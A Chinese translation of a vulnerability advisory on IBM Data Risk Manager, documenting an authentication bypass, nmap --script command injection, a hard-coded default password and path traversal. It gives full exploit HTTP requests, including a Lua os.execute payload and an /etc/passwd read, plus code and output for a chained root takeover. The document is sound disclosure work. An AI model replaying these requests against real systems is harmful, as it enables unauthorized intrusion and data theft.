对IBM Data Risk Manager 软件中 4个 0 day 漏洞的分析
2020-05-26 10:20:00 Author: www.4hou.com(查看原文) 阅读量:312 收藏

导语:对IDRM Linux虚拟设备进行了分析,发现它包含四个漏洞,三个严重风险和一个高风险: - 身份验证绕过 - 命令注入 - 不安全的默认密码 - 任意文件下载。

0x01 漏洞介绍

IBM Data Risk Manager(IDRM)是IBM的企业安全软件,可以汇总并提供所有企业安全风险的完整视图。

该产品接收来自漏洞扫描工具和其他风险管理工具的信息提要,对其进行汇总,并允许用户对其进行综合分析。

对IDRM Linux虚拟设备进行了分析,发现它包含四个漏洞,三个严重风险和一个高风险:

· 身份验证绕过

· 命令注入

· 不安全的默认密码

· 任意文件下载

此分析描述了四个漏洞以及将前三个漏洞链接为root用户以实现未经身份验证的远程代码执行的必要步骤。此外,两个绕过身份验证并利用远程代码执行任意文件下载功能的Metasploit模块已经发布。

在披露时,尚不清楚最新版本2.0.6是否受这些漏洞影响,但很可能是受此影响,因为在更新日志中均未提及漏洞修复,并且该漏洞是在报告这些漏洞之前发布的到IBM。Agile InfoSec可以访问的最新版本是2.0.3,并且该版本肯定很容易受到攻击。

一堆 0-day 漏洞!

在披露时,这些漏洞为“ 0-day 漏洞”。试图与CERT / CC联系以协调与IBM的披露,但是IBM 拒绝接受漏洞报告,并通过以下方式对CERT / CC做出了回应:

由于该产品仅用于由客户支付的“增强”支持,因此我们评估了此报告,并认为它不在我们的漏洞披露程序的范围之内。我们的政策https://hackerone.com/ibm中对此进行了概述。要参加此计划,你必须在提交报告前的6个月内对IBM Corporation,IBM子公司或IBM客户进行安全性测试。

这是IBM的的回应,IBM是一家市值数十亿美元的公司,正在向全球大型公司出售安全企业产品和安全咨询。他们拒绝在其产品之一上接受免费的高质量漏洞报告。

IBM对其“ bug bounty program”不提供任何奖励,只有致谢:

image.png

我没有要求或期望得到赏金,因为我没有HackerOne帐户,并且我不同意HackerOne或IBM在该处的披露条款。我只是想以负责任的方式向IBM披露这些内容,然后让他们进行修复。

IDRM是一种处理非常敏感信息的企业安全产品。入侵IDRM设备可能会导致公司全面受损,因为它存储用于访问其他安全工具的凭据,更不用说它包含有关影响公司的关键漏洞的信息。

· IBM为什么拒绝接受免费的详细漏洞报告?

· 他们只接受客户的漏洞报告吗?

· 还是该产品不在支持范围内?如果是这样,为什么仍要出售给新客户?

· 在销售企业安全产品时,它们怎么会如此无可厚非?

但我至少获得了新技术。

0x02 漏洞详情

1:身份验证绕过

· CWE-287:不正确的身份验证

· CVE-TODO(尚未分配)

· 风险分类:严重

· 攻击媒介:远程

· 限制条件:无

· 受影响的产品/版本:

· IBM Data Risk Manager 2.0.1至2.0.3已确认容易受到攻击

· IBM Data Risk Manager 2.0.4至2.0.6可能容易受到攻击

IDRM在/ albatross / saml / idpSelection有一个API端点,该端点将攻击者提供的ID与系统上的有效用户相关联。处理此端点的方法如下所示:

 @RequestMapping(value={"/saml/idpSelection"}, method={RequestMethod.GET})
  public String idpSelection(HttpServletRequest httpRequest, HttpServletResponse httpResponse, Model model, @RequestParam(value="id", required=false) String sessionId, @RequestParam(value="userName", required=false) String userName, RedirectAttributes rattrs) {
   List allUrls = this.a3repository.getA3AllUrlsRepository().findByTypeAndIsDeletedAndGuardiumType(A3Constants.A3_URL_TYPE.MICROSERVICES.getValue(), A3Constants.INT_ZERO, A3Constants.A3_MICROSERVICE_TYPE.IDENTITY_MANAGER.getValue());
   if (allUrls == null || allUrls.size() == 0) {
    rattrs.addAttribute("message", (Object)"Microservice instance is not running or more than one instance is running, please start the microservice and try again");
    return "redirect:/error";
   }
   if (allUrls.size() == 1) {
    A3AllUrls aUrl = (A3AllUrls)allUrls.get(0);
    String url = aUrl.getUrl();
    if (userName == null || userName.equals("")) {
     rattrs.addAttribute("message", (Object)"Enter the user name, please try again");
     return "redirect:/error";
    }
    if (sessionId == null || sessionId.equals("")) {
     rattrs.addAttribute("message", (Object)"Session ID is not present, please try again");
     return "redirect:/error";
    }
    A3User user = this.a3repository.getA3userService().findA3UserByUserNameIgnoreCaseAndIsDeleted(userName, A3Constants.INT_ZERO);
    if (user == null) {
     rattrs.addAttribute("message", (Object)("User " + userName + " account not present in IDRM, please create the account and try again"));
     return "redirect:/error";
    }
    user.setSessionId(sessionId);
    user.setLastUpdate(null);
    this.a3repository.getA3userService().save((Object)user);
    String page = null;
    page = url.endsWith("/") ? "redirect:" + url + "saml/idpSelection" : "redirect:" + url + "/saml/idpSelection";
    return page;
   }
   return "redirect:/error";
  }

从上面的代码中可以看出,此方法从HTTP请求接受任意的sessionId和username参数,并且如果用户名存在于应用程序的用户数据库中,则它将该sessionId与username关联。 未经身份验证的攻击者可以通过以下请求来实现此目的:

 GET /albatross/saml/idpSelection?id=SOMETHING&userName=admin

服务器将响应302重定向到https:// localhost:8765 / saml / idpSelection,但这并不重要。此操作现在可能没有意义,但请继续阅读。

API端点/ albatross / user / login通过以下方法处理(仅显示相关的代码段):

 @RequestMapping(value={"/user/login"}, method={RequestMethod.POST}, consumes={"multipart/form-data"})
     public A3StatusBean userLogin(HttpServletRequest httpRequest, @RequestParam(value="username", required=true) String username, @RequestParam(value="deviceid") String deviceId, @RequestParam(value="password", required=false) String password, @RequestParam(value="sessionId", required=false) String sessionId, @RequestParam(value="clientDetails", required=true) String clientDetails) {
         (...)
                 A3User user = this.a3repository.getA3userService().findA3UserByUserNameIgnoreCase(username);
                 if (user != null) {
                     if (sessionId != null) {
                         if (sessionId.equals(user.getSessionId())) {
         (...)
                             LOGGER.log(A3Constants.A3LOG, "Session is matching, so user is valid");
                             response.setRequestedUrl(A3Utils.getWebURLWithQueryString((HttpServletRequest)httpRequest));
                             response.setHttpStatus(Integer.toString(HttpStatus.OK.value()));
                             response.setServerCode(Integer.toString(A3FullStackResponseConstants.SUCCESS));
                             if (this.userMap.get(user.getUserId()) == null) {
                                 user.setSessionId(null);
                                 String randomPwd = UUID.randomUUID().toString();
                                 user.setPassword(A3BcryptUtil.getBCryptHash(randomPwd));
                                 this.a3repository.getA3userService().save((Object)user);
                                 this.userMap.put(user.getUserId(), randomPwd);
                                 response.setData((Object)randomPwd);
                             } else {
                                 String tPassword = this.userMap.get(user.getUserId());
                                 user.setPassword(A3BcryptUtil.getBCryptHash(tPassword));
                                 this.a3repository.getA3userService().save((Object)user);
                                 response.setData((Object)tPassword);
                             }
                             return response;
                         }
         (...)
     }

上面列出的方法采用username和sessionId参数,并检查数据库中是否存在username并将sessionId与该username关联。如果是这样,应用程序将为该用户名返回一个新生成的随机密码。 在上一个请求中,“ admin”用户与sessionId“ SOMETHING”相关联。现在,如果我们执行以下请求:

 POST /albatross/user/login HTTP/1.1
 Host: 10.0.10.25:8443
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
 Content-Type: multipart/form-data; boundary=_Part_224_2171658712_4042463386
 Content-Length: 509
 Connection: close
 
 --_Part_224_2171658712_4042463386
 Content-Disposition: form-data; name="deviceid"
 
 
 --_Part_224_2171658712_4042463386
 Content-Disposition: form-data; name="password"
 
 < ... any string can be sent here ... >
 --_Part_224_2171658712_4042463386
 Content-Disposition: form-data; name="username"
 
 admin
 --_Part_224_2171658712_4042463386
 Content-Disposition: form-data; name="clientDetails"
 
 
 --_Part_224_2171658712_4042463386
 Content-Disposition: form-data; name="sessionId"
 
 SOMETHING
 --_Part_224_2171658712_4042463386--

服务器将响应:

 {"httpStatus":"200","serverCode":"2001","requestedUrl":"https://10.0.10.25:8443/albatross/user/login","data":"b6e1a82b-3f33-4297-86e1-ca780d16cb02"}

...,现在得到了“ admin”*用户的有效密码,如前面的代码片段所示。

因此,现在让我们尝试使用该密码作为密码进行身份验证:

 POST /albatross/user/login HTTP/1.1
 Host: 10.0.10.25:8443
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
 Content-Type: multipart/form-data; boundary=_Part_122_4062871012_3985537084
 Content-Length: 435
 Connection: close
 
 --_Part_122_4062871012_3985537084
 Content-Disposition: form-data; name="deviceid"
 
 
 --_Part_122_4062871012_3985537084
 Content-Disposition: form-data; name="password"
 
 b6e1a82b-3f33-4297-86e1-ca780d16cb02
 --_Part_122_4062871012_3985537084
 Content-Disposition: form-data; name="username"
 
 admin
 --_Part_122_4062871012_3985537084
 Content-Disposition: form-data; name="clientDetails"
 
 
 --_Part_122_4062871012_3985537084--

服务器对此作出响应:

 {"httpStatus":"200","serverCode":"2001","requestedUrl":"https://10.0.10.25:8443/albatross/user/login","data":{"access_token":"3b5b0fa6-2d46-4104-ba38-54a077d05a93","token_type":"bearer","expires_in":28799,"scope":"read write"}}

成功!现在,我们有一个有效的Bearer管理令牌,可用于访问各种API。也可以在/ albatross / login端点上以普通Web用户身份登录,这将生成经过身份验证的Cookie而不是令牌,从而允许访问Web管理控制台。如下所示,现在完全绕过了身份验证,并且我们拥有对IDRM的完全管理访问权限。

应当注意,这是一种破坏性的操作:先前的管理员密码将无效,并且只有上面生成的新密码才能用作管理员登录。因此,即使它没有这样命名,它也有点像“密码重置”。

2:命令注入漏洞

· CWE-77:命令注入

· CVE-TODO(尚未分配)

· 风险分类:严重

· 攻击媒介:远程

· 约束:需要身份验证

· 受影响的产品/版本:

· IBM Data Risk Manager 2.0.1至2.0.3已确认容易受到攻击

· IBM Data Risk Manager 2.0.4至2.0.6可能容易受到攻击

IDRM在/ albatross / restAPI / v2 / nmap / run / scan中公开了一个API,该API 允许经过身份验证的用户执行nmap扫描。调用堆栈和相关代码粘贴在下面:

 @RequestMapping(value={"/run/nmap/scan"}, method={RequestMethod.POST})
  public A3StatusBean runNmapScan(HttpServletRequest httpRequest, @RequestParam(value="transaction", required=false) String transactionData, @RequestParam(value="accessToken") String accessToken, @RequestParam(value="userId", required=false) String userName) {
           
           (...)
           runNmapScan invokes A3CustomScriptScanTask.run() 
 
                 A3CustomScriptScanTask.run() invokes A3IpScannerUtils.runNmapOnIpAddress()
                         
                         public static A3ExtAppNmapHostDTO runNmapOnIpAddress(String nmapPath, String nmapOptions, String ipAddress, String portRange) throws IOException, InterruptedException {
                                 String[] nmapOpts;
                                 A3ExtAppNmapHostDTO nmapHost = null;
                                 LOGGER.log(A3EurekaConstants.OPERATIONAL, "Running nmap Scan");
                                 ArrayList command = new ArrayList();
                                 command.add(nmapPath);
                                 for (String nmapOpt : nmapOpts = nmapOptions.split(" ")) {
                                         command.add(nmapOpt);
                                 }
                                 command.add(ipAddress);
                                 Process process = null;
                                 if (portRange != null && !portRange.equals("")) {
                                         command.add("-p");
                                         command.add(portRange);
                                         process = Runtime.getRuntime().exec(command.toArray(new String[command.size()]));
                                 } else {
                                         process = Runtime.getRuntime().exec(command.toArray(new String[command.size()]));
                                 
                                 (...)
                         }
           (...)
         }

为了简洁显示,调用链没有在上面列出,但是NMAP被调用与ip地址在一个设置在由攻击者的multipart / form-data的 POST请求/albatross/restAPI/v2/nmap/run/scan API端点。我们可以在此参数中注入所需的任何内容,但是,如上所示,它被放入传递给Runtime.getRuntime().exec()的String数组中。由于此函数的工作方式与C的execve()相似,因此无法在参数中执行命令注入。

GTFObins中列出的那样,如果我们可以上传脚本文件,然后使用“ --script =

但是,要以这种方式执行代码,我们仍然需要能够上传文件。幸运的是,有一种方法可以处理补丁文件并接受任意文件数据,并将其保存到“ / home / a3user / agile3 / patches /

为了上传文件,我们只需要发送以下请求:

 POST /albatross/upload/patch HTTP/1.1
 Host: 10.0.10.25:8443
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
 Cookie: JSESSIONID=D68124D3EFD66417B4C6B0950E1891C0;
 CSRF-TOKEN: 4f88a837-5f12-4d15-a0d5-57b24de17176
 Content-Type: multipart/form-data; boundary=_Part_387_3982485447_258275719
 Content-Length: 330
 Connection: close
 
 --_Part_387_3982485447_258275719
 Content-Disposition: form-data; name="patchFiles"; filename="owned.enc"
 Content-Type: application/octet-stream
 Content-Transfer-Encoding: binary
 
 os.execute("/usr/bin/whoami > /tmp/testing")
 --_Part_387_3982485447_258275719--

服务器将以200 OK响应,但将包含一条JSON消息,指出已发生错误。这无关紧要,因为该文件仍被上传到磁盘。 最后,我们注入参数并使用以下请求运行nmap:

 POST /albatross/restAPI/v2/nmap/run/scan/18 HTTP/1.1
 Host: 10.0.10.25:8443
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
 Authorization: Bearer 3b5b0fa6-2d46-4104-ba38-54a077d05a93
 Content-Type: multipart/form-data; boundary=_Part_841_3176682485_2250831758
 Content-Length: 440
 Connection: close
 
 --_Part_841_3176682485_2250831758
 Content-Disposition: form-data; name="clientDetails"
 
 
 --_Part_841_3176682485_2250831758
 Content-Disposition: form-data; name="type"
 
 1
 --_Part_841_3176682485_2250831758
 Content-Disposition: form-data; name="portRange"
 
 
 --_Part_841_3176682485_2250831758
 Content-Disposition: form-data; name="ipAddress"
 
 --script=/home/a3user/agile3/patches/owned.enc
 --_Part_841_3176682485_2250831758--

这将执行“ nmap --script = / home / a3user / agile3 / patches / owned.enc”并运行我们的命令:

 [a3user@idrm-server ~]$ cat /home/a3user/agile3/patches/owned.enc
 os.execute("/usr/bin/whoami > /tmp/testing")
 [a3user@idrm-server ~]$ cat /tmp/testing
 a3user

请注意,所有这些请求都需要经过管理员身份验证的会话,但可以轻松地绕过此请求。实现完全未经身份验证的远程代码执行的实际流程更加复杂,因为我们需要同时对Web界面和API进行身份验证,但是上面已经描述了基本的工作方式。

3:不安全的默认密码

· CWE-798:硬编码凭据的使用

· CVE-TODO(尚未分配)

· 风险分类:严重

· 攻击媒介:远程

· 限制条件:无

· 受影响的产品/版本:

· IBM Data Risk Manager 2.0.1至2.0.3已确认容易受到攻击

· IBM Data Risk Manager 2.0.4至2.0.6可能容易受到攻击

IDRM虚拟设备中的管理用户是“ a3user”。允许该用户通过SSH登录并运行sudo命令,并使用默认密码“ idrm”对其进行设置。

与漏洞1和2结合使用时,这将使未经身份验证的攻击者能够以root身份在IDRM虚拟设备上以远程方式执行代码,从而导致系统完全受到威胁。

尽管IDRM会强制Web界面的管理用户(“ admin”)在首次登录时更改其密码,但它不需要与“ a3user”相同。

4:任意文件下载

· CWE-22:路径名到受限目录的不当限制(“路径遍历”)

· CVE-TODO(尚未分配)

· 风险分类:高

· 攻击媒介:远程

· 约束:需要身份验证

· 受影响的产品/版本:

· IBM Data Risk Manager 2.0.2和2.0.3已确认容易受到攻击

· IBM Data Risk Manager 2.0.4至2.0.6可能容易受到攻击

IDRM在/ albatross / eurekaservice / fetchLogFiles中公开了一个API,该API 允许经过身份验证的用户从系统下载日志文件。但是,logFileNameList参数包含一个基本的目录遍历漏洞,攻击者可以利用该漏洞从系统中下载任何文件。 代码路径是复杂的,为简洁起见,此处不会显示,但是利用非常简单:

 POST /albatross/eurekaservice/fetchLogFiles HTTP/1.1
 Host: 10.0.10.25:8443
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
 Accept: */*
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: https://10.0.10.25:8443/albatross/home
 Content-Type: application/json
 CSRF-TOKEN: 93e0dbe1-88e5-450e-ab2c-7c614b709876
 Content-Length: 93
 Cookie: JSESSIONID=ABFFB7EB959FAC45743AC2889960DFD0
 Connection: close
 
 {"instanceId":"local_host","logLevel":"DEBUG","logFileNameList":"../../../../../etc/passwd,"}

响应:

 HTTP/1.1 200 
 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
 X-Frame-Options: DENY
 X-Content-Type-Options: nosniff
 X-XSS-Protection: 1; mode=block
 Cache-Control: no-cache, no-store, must-revalidate
 Pragma: no-cache
 Expires: Thu, 01 Jan 1970 00:00:00 GMT
 Content-Disposition: attachment; filename=ms_logs_admin.zip
 Accept-Ranges: bytes
 X-Content-Type-Options: nosniff
 Content-Type: application/zip
 Content-Length: 550
 Date: Wed, 17 Oct 2018 11:46:45 GMT
 Connection: close

与#1组合使用时,这将允许未经身份验证的攻击者从系统中下载“ a3user”可读的任何文件。应该注意的是,版本2.0.1并不容易受到攻击,但高于版本2.0.1的则容易受到攻击。尝试使用此方法下载任意文件将导致HTTP 500错误,并显示“文件安全性异常”消息。

0x03 漏洞利用

通过结合漏洞#1,#2和#3,未经身份验证的用户可以以root用户身份执行远程代码。有研究员发布了实现该RCE链的Metasploit模块,下面的截图所示:

 https://github.com/rapid7/metasploit-framework/pull/13300
 https://asciinema.org/a/328326

1590123561747.png

如果漏洞#1和#4组合在一起,则未经身份验证的攻击者可能会从系统中下载任意文件。有研究员发布了实现该文件下载链的第二个Metasploit模块,下面截图所示:

 https://github.com/rapid7/metasploit-framework/pull/13301
 https://asciinema.org/a/328317

1590123641721.png

0x04 漏洞修复

IBM拒绝承认此漏洞报告,因此很可能不会修复这些漏洞。请确保卸载产品,以免危及你的网络/公司。

本文翻译自:https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/qDlR
如有侵权请联系:admin#unsafe.sh